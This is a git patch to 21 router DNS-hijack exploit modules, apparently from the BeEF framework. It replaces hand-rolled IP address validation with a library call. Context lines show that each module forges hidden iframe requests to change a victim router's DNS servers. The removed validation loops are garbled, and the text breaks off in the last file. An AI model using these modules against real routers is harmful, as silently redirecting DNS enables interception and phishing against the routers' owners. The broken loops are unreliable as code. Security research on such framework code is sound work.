From 1f56b835f6eea8eccb5b97d7bd79ba832df68f50 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 12 Aug 2017 02:03:11 +0000 Subject: [PATCH] Use beef.net.is_valid_ip --- .../router/argw4_adsl_dns_hijack/command.js | 26 ++++--------------- .../router/asus_dslx11_dns_hijack/command.js | 26 ++++--------------- .../command.js | 26 ++++--------------- .../router/belkin_dns_csrf/command.js | 25 +++++------------- .../comtrend_ct_series_dns_hijack/command.js | 26 ++++--------------- .../dlink_dsl2640b_dns_hijack/command.js | 26 ++++--------------- .../dlink_dsl2640u_dns_hijack/command.js | 26 ++++--------------- .../dlink_dsl2740r_dns_hijack/command.js | 26 ++++--------------- .../dlink_dsl2780b_dns_hijack/command.js | 26 ++++--------------- .../dlink_dsl526b_dns_hijack/command.js | 26 ++++--------------- .../exper_ewm01_adsl_dns_hijack/command.js | 26 ++++--------------- .../command.js | 26 ++++--------------- .../inteno_eg101r1_voip_dns_hijack/command.js | 26 ++++--------------- .../linksys_e2500_dns_hijack/command.js | 14 +++------- .../router/phillips_dns_hijack/command.js | 24 +++++------------ .../pikatel_96338_dns_hijack/command.js | 26 ++++--------------- .../command.js | 26 ++++--------------- .../shuttle_tech_915wm_dns_hijack/command.js | 26 ++++--------------- .../router/tenda_adsl_dns_hijack/command.js | 26 ++++--------------- .../router/tplink_dns_csrf/command.js | 26 ++++--------------- .../utstarcom_wa3002g4_dns_hijack/command.js | 26 ++++--------------- 21 files changed, 106 insertions(+), 425 deletions(-) diff --git a/modules/exploits/router/argw4_adsl_dns_hijack/command.js b/modules/exploits/router/argw4_adsl_dns_hijack/command.js index cfa49b6d2..9b0afe8b1 100644 --- a/modules/exploits/router/argw4_adsl_dns_hijack/command.js +++ b/modules/exploits/router/argw4_adsl_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var argw4_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/asus_dslx11_dns_hijack/command.js b/modules/exploits/router/asus_dslx11_dns_hijack/command.js index fad40c0cc..ba5ad9895 100644 --- a/modules/exploits/router/asus_dslx11_dns_hijack/command.js +++ b/modules/exploits/router/asus_dslx11_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var asus_dslx11_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/beetel_bcm96338_router_dns_hijack/command.js b/modules/exploits/router/beetel_bcm96338_router_dns_hijack/command.js index 7d276de11..d3679e9d2 100644 --- a/modules/exploits/router/beetel_bcm96338_router_dns_hijack/command.js +++ b/modules/exploits/router/beetel_bcm96338_router_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var beetel_bcm96338_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/belkin_dns_csrf/command.js b/modules/exploits/router/belkin_dns_csrf/command.js index c52412013..9325af52c 100644 --- a/modules/exploits/router/belkin_dns_csrf/command.js +++ b/modules/exploits/router/belkin_dns_csrf/command.js @@ -14,37 +14,24 @@ beef.execute(function() { var timeout = 15; // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } + var parts = dns1.split('.'); var dns1_1 = parts[0]; var dns1_2 = parts[1]; var dns1_3 = parts[2]; var dns1_4 = parts[3]; // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - - } + var parts = dns2.split('.'); var dns2_1 = parts[0]; var dns2_2 = parts[1]; var dns2_3 = parts[2]; diff --git a/modules/exploits/router/comtrend_ct_series_dns_hijack/command.js b/modules/exploits/router/comtrend_ct_series_dns_hijack/command.js index a9faad735..4fd7cf696 100644 --- a/modules/exploits/router/comtrend_ct_series_dns_hijack/command.js +++ b/modules/exploits/router/comtrend_ct_series_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var comtrend_ct_series_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js b/modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js index 426688278..b07804670 100644 --- a/modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js +++ b/modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var dlink_2640b_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/dlink_dsl2640u_dns_hijack/command.js b/modules/exploits/router/dlink_dsl2640u_dns_hijack/command.js index 58eb85f0c..5c59c3734 100644 --- a/modules/exploits/router/dlink_dsl2640u_dns_hijack/command.js +++ b/modules/exploits/router/dlink_dsl2640u_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var dlink_dsl2640u_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/dlink_dsl2740r_dns_hijack/command.js b/modules/exploits/router/dlink_dsl2740r_dns_hijack/command.js index 3e8f3dbbc..606f1123c 100644 --- a/modules/exploits/router/dlink_dsl2740r_dns_hijack/command.js +++ b/modules/exploits/router/dlink_dsl2740r_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var dlink_dsl2740r_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/dlink_dsl2780b_dns_hijack/command.js b/modules/exploits/router/dlink_dsl2780b_dns_hijack/command.js index bdb16123a..787e5990b 100644 --- a/modules/exploits/router/dlink_dsl2780b_dns_hijack/command.js +++ b/modules/exploits/router/dlink_dsl2780b_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var dlink_dsl2780b_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/dlink_dsl526b_dns_hijack/command.js b/modules/exploits/router/dlink_dsl526b_dns_hijack/command.js index fb61edca7..3294486a7 100644 --- a/modules/exploits/router/dlink_dsl526b_dns_hijack/command.js +++ b/modules/exploits/router/dlink_dsl526b_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var dlink_dsl526b_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/exper_ewm01_adsl_dns_hijack/command.js b/modules/exploits/router/exper_ewm01_adsl_dns_hijack/command.js index d1f3a959a..405189f2d 100644 --- a/modules/exploits/router/exper_ewm01_adsl_dns_hijack/command.js +++ b/modules/exploits/router/exper_ewm01_adsl_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var exper_ewm01_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/command.js b/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/command.js index 415c71fb8..3c47c7a7b 100644 --- a/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/command.js +++ b/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var iball_baton_ib_wra150n_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/command.js b/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/command.js index b7cc06086..5f8b482a9 100644 --- a/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/command.js +++ b/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var inteno_eg101r1_voip_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/linksys_e2500_dns_hijack/command.js b/modules/exploits/router/linksys_e2500_dns_hijack/command.js index 89867be2d..d9c5e746d 100644 --- a/modules/exploits/router/linksys_e2500_dns_hijack/command.js +++ b/modules/exploits/router/linksys_e2500_dns_hijack/command.js @@ -12,19 +12,13 @@ beef.execute(function() { var timeout = 15; // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - + var parts = dns1.split('.'); + // change DNS var linksys_e2500_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'submit_button', 'value': 'index'}, diff --git a/modules/exploits/router/phillips_dns_hijack/command.js b/modules/exploits/router/phillips_dns_hijack/command.js index 7895bbc37..77ff05040 100644 --- a/modules/exploits/router/phillips_dns_hijack/command.js +++ b/modules/exploits/router/phillips_dns_hijack/command.js @@ -13,36 +13,24 @@ beef.execute(function() { var timeout = 15; // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } + var parts = dns1.split('.'); var dns1_1 = parts[0]; var dns1_2 = parts[1]; var dns1_3 = parts[2]; var dns1_4 = parts[3]; // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } + var parts = dns2.split('.'); var dns2_1 = parts[0]; var dns2_2 = parts[1]; var dns2_3 = parts[2]; diff --git a/modules/exploits/router/pikatel_96338_dns_hijack/command.js b/modules/exploits/router/pikatel_96338_dns_hijack/command.js index b5f62f022..eba3ff720 100644 --- a/modules/exploits/router/pikatel_96338_dns_hijack/command.js +++ b/modules/exploits/router/pikatel_96338_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var pikatel_96338_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/command.js b/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/command.js index c75e57432..fdbe73077 100644 --- a/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/command.js +++ b/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var planet_vdr300nu_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/shuttle_tech_915wm_dns_hijack/command.js b/modules/exploits/router/shuttle_tech_915wm_dns_hijack/command.js index e51010d9d..cd78780b2 100644 --- a/modules/exploits/router/shuttle_tech_915wm_dns_hijack/command.js +++ b/modules/exploits/router/shuttle_tech_915wm_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var shuttle_tech_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/tenda_adsl_dns_hijack/command.js b/modules/exploits/router/tenda_adsl_dns_hijack/command.js index 37c4286ad..548a9a079 100644 --- a/modules/exploits/router/tenda_adsl_dns_hijack/command.js +++ b/modules/exploits/router/tenda_adsl_dns_hijack/command.js @@ -12,33 +12,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var tenda_adsl_963281tan_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/tplink_dns_csrf/command.js b/modules/exploits/router/tplink_dns_csrf/command.js index 9304b4b1d..f86d1e8bb 100644 --- a/modules/exploits/router/tplink_dns_csrf/command.js +++ b/modules/exploits/router/tplink_dns_csrf/command.js @@ -14,33 +14,17 @@ beef.execute(function() { var dns2 = '<%= @dns2 %>'; var timeout = 15; - // validate primary DNS server IP address - var parts = dns1.split('.'); - if (parts.length != 4) { + // validate DNS server IP addresses + if (!beef.net.is_valid_ip(dns1)) { + beef.debug('Invalid Primary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); - return; - } - } - - // validate secondary DNS server IP address - var parts = dns2.split('.'); - if (parts.length != 4) { + if (!beef.net.is_valid_ip(dns2)) { + beef.debug('Invalid Secondary DNS server IP address was provided'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); return; } - for (var i=0; i 255) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); - return; - } - } // change DNS var tplink_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ diff --git a/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/command.js b/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/command.js index f8bd2db76..79d23edb7 100644 --- a/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/command.js +++ b/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/command.js @@ -12,33 +12,17 @@ 